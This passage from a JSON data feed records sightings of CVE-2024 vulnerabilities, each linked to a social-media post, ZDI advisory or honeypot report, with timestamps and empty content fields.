"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgsjg5lhke2e", "content": "", "creation_timestamp": "2025-01-28T13:05:22.421830Z"}, {"uuid": "7271726d-b951-43ef-8e30-b91993d6ffb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lh27nsbtri23", "content": "", "creation_timestamp": "2025-01-31T14:31:56.124955Z"}, {"uuid": "4c38a7cf-823b-48d9-9bb4-3a0e292c56bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-077/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "2e16623a-84c7-42ae-9554-3838b3fe3b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-080/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "e98aac8f-2e99-4e30-b7ef-0adeeffafcfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-079/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "ce118e9f-c7d6-4602-b8eb-db1b619fe845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-078/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "99d6bd8d-32e4-4a0b-abd3-9784cc002ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/bot.reality.eth.link/post/3lfiz6uwdm756", "content": "", "creation_timestamp": "2025-01-30T10:16:44.705351Z"}, {"uuid": "d304a6cd-5ef3-4ee9-b9e7-30c932f81924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggf3524lv27", "content": "", "creation_timestamp": "2025-01-23T17:15:37.232854Z"}, {"uuid": "f0135555-9863-45a8-855d-5b904f8526ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lgynbci2pl2a", "content": "", "creation_timestamp": "2025-01-30T23:30:10.167822Z"}, {"uuid": "0b818521-a24d-420e-9c3e-ff7f82c3d2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggf37ubxe2t", "content": "", "creation_timestamp": "2025-01-23T17:15:40.243306Z"}, {"uuid": "d1ecebed-4d66-4b84-8637-ac9058413669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/rxerium.com/post/3lgsl5vwztl2h", "content": "", "creation_timestamp": "2025-01-28T13:36:30.589139Z"}, {"uuid": "ad8e2f88-2b50-486b-9eca-0398cbff6df7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917016488019763", "content": "", "creation_timestamp": "2025-01-30T11:15:25.788427Z"}, {"uuid": "6e47e061-87e8-4e1d-8372-a667a1d49b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917016503164733", "content": "", "creation_timestamp": "2025-01-30T11:15:26.991609Z"}, {"uuid": "19c846e2-2bfe-4f80-8294-8072ebba4341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lgvivgj2r52m", "content": "", "creation_timestamp": "2025-01-29T17:33:56.939504Z"}, {"uuid": "38f432de-2d96-4f8a-9f50-d899ee8a6f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxea5diyt2b", "content": "", "creation_timestamp": "2025-01-30T11:15:47.326031Z"}, {"uuid": "0f8798bd-1716-4048-9631-e2d3e5e3f683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/tuxcare.bsky.social/post/3lh2gt35cg223", "content": "", "creation_timestamp": "2025-01-31T16:40:10.371832Z"}, {"uuid": "0d25147d-5fe3-4a3b-9716-f5c01cca668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxea7og3o2c", "content": "", "creation_timestamp": "2025-01-30T11:15:50.108938Z"}, {"uuid": "23669c69-bbc0-40b4-bcbd-6eef234a0c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhjpkkwq7n2a", "content": "", "creation_timestamp": "2025-02-06T18:26:23.628424Z"}, {"uuid": "ee1624fe-cf37-40a9-9482-674ad4502025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113919969169827912", "content": "", "creation_timestamp": "2025-01-30T23:46:20.072818Z"}, {"uuid": "78f6f161-f9ea-43bd-9681-38e807379079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggggugueo2k", "content": "", "creation_timestamp": "2025-01-23T17:40:04.636543Z"}, {"uuid": "f8dd8eef-eedd-4420-81e7-6a514d592ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxepzy35g2i", "content": "", "creation_timestamp": "2025-01-30T11:24:40.739711Z"}, {"uuid": "d8db2e04-7d63-4255-8472-88918ea05b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggggur5of2q", "content": "", "creation_timestamp": "2025-01-23T17:40:05.496711Z"}, {"uuid": "ab160943-58a5-40ed-9e56-4ab8daeb863e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2da5h2q", "content": "", "creation_timestamp": "2025-01-30T11:24:41.487013Z"}, {"uuid": "7f1fc7ea-59b9-40e3-98fd-4509ff395862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq32bj32e", "content": "", "creation_timestamp": "2025-01-30T11:24:44.920710Z"}, {"uuid": "1e9c5b4c-e982-4afa-a2e5-289649f05ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2hea72w", "content": "", "creation_timestamp": "2025-01-30T11:24:42.057121Z"}, {"uuid": "cdd76f88-3b93-495e-9f04-fd6972d0074c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2kisv2k", "content": "", "creation_timestamp": "2025-01-30T11:24:42.619604Z"}, {"uuid": "57602d97-38f1-44e1-8fd5-259d80c77d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2v5vi2h", "content": "", "creation_timestamp": "2025-01-30T11:24:44.339598Z"}, {"uuid": "2fbc3cee-89ee-41f8-ab8e-44b3116a3f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgypuw6doj2c", "content": "", "creation_timestamp": "2025-01-31T00:16:55.260771Z"}, {"uuid": "cfc39021-97c5-4b8a-a308-191b6059a652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113924460735809189", "content": "", "creation_timestamp": "2025-01-31T18:48:39.125996Z"}, {"uuid": "fb0f72b3-af76-4b77-813a-8fde5ca26c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798705820695", "content": "", "creation_timestamp": "2025-01-27T06:02:24.475913Z"}, {"uuid": "8357b3d8-e4ff-4b07-b1e8-b247f57106fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798720190607", "content": "", "creation_timestamp": "2025-01-27T06:02:24.772553Z"}, {"uuid": "aa900790-be30-4d07-876f-434875b40d43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoanhcd22k", "content": "", "creation_timestamp": "2025-01-28T14:31:46.388833Z"}, {"uuid": "875339b4-c485-40ef-8206-f2805801541b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoanu6gk2k", "content": "", "creation_timestamp": "2025-01-28T14:31:47.111996Z"}, {"uuid": "e80467ee-0f4a-4106-a50c-66d85e9e1160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoao7vnh2q", "content": "", "creation_timestamp": "2025-01-28T14:31:47.824342Z"}, {"uuid": "4dc17d9d-6a97-4bfe-9b71-b42e3042aaaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113894370018911502", "content": "", "creation_timestamp": "2025-01-26T11:16:08.332457Z"}, {"uuid": "b87acce2-5842-4a34-85d7-1805d076908d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798754392142", "content": "", "creation_timestamp": "2025-01-27T06:02:25.265963Z"}, {"uuid": "e256ef4d-e40b-4be3-b2d3-8966308be933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798690089537", "content": "", "creation_timestamp": "2025-01-27T06:02:25.343871Z"}, {"uuid": "ec3a4920-5353-4889-934c-353135c5ead9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815656486803", "content": "", "creation_timestamp": "2025-01-27T06:06:44.425527Z"}, {"uuid": "371c741b-45d9-4512-9694-af0189ad41b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113910137251619473", "content": "", "creation_timestamp": "2025-01-29T06:05:56.898633Z"}, {"uuid": "3b3e0ea1-230a-4090-b8bc-14cbe9f32339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815672458082", "content": "", "creation_timestamp": "2025-01-27T06:06:44.994468Z"}, {"uuid": "b6d7941f-7593-4388-9350-1ac1df06fb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815721237909", "content": "", "creation_timestamp": "2025-01-27T06:06:45.066273Z"}, {"uuid": "7d132ac6-b4e1-477f-93b2-b9bc6d1fe6b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgucypflqa2b", "content": "", "creation_timestamp": "2025-01-29T06:15:45.495559Z"}, {"uuid": "43cb2a5c-69ff-424c-bbe7-64bdb844e159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgnfpysgc72f", "content": "", "creation_timestamp": "2025-01-26T12:15:55.780223Z"}, {"uuid": "e7142345-b4ff-4eb3-ab26-ba9aefb318e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815688137258", "content": "", "creation_timestamp": "2025-01-27T06:06:45.907971Z"}, {"uuid": "bc3eddc6-6f5e-4d86-8d13-b6be96b3c6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lh2qnldlzw24", "content": "", "creation_timestamp": "2025-01-31T19:36:03.120260Z"}, {"uuid": "5c522419-eb26-4609-ae9c-8fbdf5cd905d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251527116478", "content": "", "creation_timestamp": "2025-01-28T00:54:49.208241Z"}, {"uuid": "a6e0206d-5ccd-4681-8b7e-e9ac49c6d82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgugczmxl32k", "content": "", "creation_timestamp": "2025-01-29T07:15:12.131303Z"}, {"uuid": "234ddabe-85d3-461b-bfd2-46e4124199e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lgvqzltfak2o", "content": "", "creation_timestamp": "2025-01-29T19:59:31.484923Z"}, {"uuid": "3e715379-8468-4675-9c57-8b7708af68d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lgvr6otxvs2o", "content": "", "creation_timestamp": "2025-01-29T20:02:19.313590Z"}, {"uuid": "cdad9616-1c0c-4032-a4b1-8764a00390a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251559525668", "content": "", "creation_timestamp": "2025-01-28T00:54:50.170274Z"}, {"uuid": "4d66eec4-35e6-4fb0-b563-5e29658ecef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/mitsuhiko.at/post/3lgvrgcpcws24", "content": "", "creation_timestamp": "2025-01-29T20:06:38.137325Z"}, {"uuid": "221d6437-fca8-4c49-b794-4f27168abb1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgno3r4mqo2e", "content": "", "creation_timestamp": "2025-01-26T14:45:40.321055Z"}, {"uuid": "ad973c7c-fd24-4c4a-af73-a749f52a309f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251543751834", "content": "", "creation_timestamp": "2025-01-28T00:54:50.264702Z"}, {"uuid": "e2629bf4-cf96-48a8-96f3-bb1a361d438e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/mitsuhiko.at/post/3lgvrgdrdsk24", "content": "", "creation_timestamp": "2025-01-29T20:06:38.617316Z"}, {"uuid": "d2ec45a5-c98b-4536-a290-1ec706f0eac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lggl6342kr2x", "content": "", "creation_timestamp": "2025-01-23T19:04:38.552882Z"}, {"uuid": "d9e5ea0a-d8f8-4d44-9920-f59760fe6d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lggl6342kr2x", "content": "", "creation_timestamp": "2025-01-23T19:04:38.601823Z"}, {"uuid": "bad1fab8-0ac1-4f15-bb5d-65f965976602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-30)", "content": "", "creation_timestamp": "2025-03-30T00:00:00.000000Z"}, {"uuid": "2d0d063d-2676-4bac-b858-d41259ae925b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh2xd7id7u25", "content": "", "creation_timestamp": "2025-01-31T21:35:33.703928Z"}, {"uuid": "2179e0b6-c7c1-4de8-a139-53e882d604e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrjo3p42b", "content": "", "creation_timestamp": "2025-01-28T01:15:50.863500Z"}, {"uuid": "b3d47f86-cc0e-4a69-bba2-9f84b2d5dba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12102", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671340731294", "content": "", "creation_timestamp": "2025-01-30T14:01:57.995792Z"}, {"uuid": "adecee58-981d-46fb-afcc-0db7988c60cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12177", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671388922378", "content": "", "creation_timestamp": "2025-01-30T14:01:58.789579Z"}, {"uuid": "c5c19c63-3ca6-4261-a6df-e72df601bacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/yokoi.bsky.social/post/3lh2zfugt3s23", "content": "", "creation_timestamp": "2025-01-31T22:12:52.555503Z"}, {"uuid": "be9a8ed1-b1eb-422a-83c7-46a6a59f0cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrmy7du2f", "content": "", "creation_timestamp": "2025-01-28T01:15:54.341848Z"}, {"uuid": "d1510fe0-078e-4941-a2fa-e8eb69786f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671374380676", "content": "", "creation_timestamp": "2025-01-30T14:01:58.379293Z"}, {"uuid": "069f1944-0832-42e0-aa59-bfc243234e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12269", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671403718538", "content": "", "creation_timestamp": "2025-01-30T14:01:58.901623Z"}, {"uuid": "cc39991b-957f-4452-a8ed-f6b49f431856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrq5bag2i", "content": "", "creation_timestamp": "2025-01-28T01:15:57.750346Z"}, {"uuid": "23897171-3919-401c-a68c-23eb1a976823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12177", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxoddyphn27", "content": "", "creation_timestamp": "2025-01-30T14:16:32.252265Z"}, {"uuid": "c8af38a7-bf22-4e54-bd6f-6621c36cd7f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12269", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodg4naa2c", "content": "", "creation_timestamp": "2025-01-30T14:16:34.552432Z"}, {"uuid": "4916e592-079d-4420-98d3-43dc47728f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12102", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxod732mn2j", "content": "", "creation_timestamp": "2025-01-30T14:16:27.297240Z"}, {"uuid": "fc0f80f2-7dd5-4152-9563-8b8ad95b8d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdj5zwgmu27", "content": "", "creation_timestamp": "2025-02-04T07:16:02.983716Z"}, {"uuid": "b3608bc1-ecf2-4b3b-8037-7572b018e8d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodbpgli2t", "content": "", "creation_timestamp": "2025-01-30T14:16:29.856089Z"}, {"uuid": "9ee150b8-0735-4549-87d8-fa003acb6e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12299", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodio7ii2t", "content": "", "creation_timestamp": "2025-01-30T14:16:37.064684Z"}, {"uuid": "7ec04dcf-308b-4222-b61a-18ef78600969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12320", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodkwewu2h", "content": "", "creation_timestamp": "2025-01-30T14:16:39.563050Z"}, {"uuid": "a0e4f10c-aba5-43d3-ad93-fe6af0be8d31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12444", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodnhyp32f", "content": "", "creation_timestamp": "2025-01-30T14:16:42.244309Z"}, {"uuid": "d6f45064-b58e-4bac-98d0-fd3d3fcc2df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 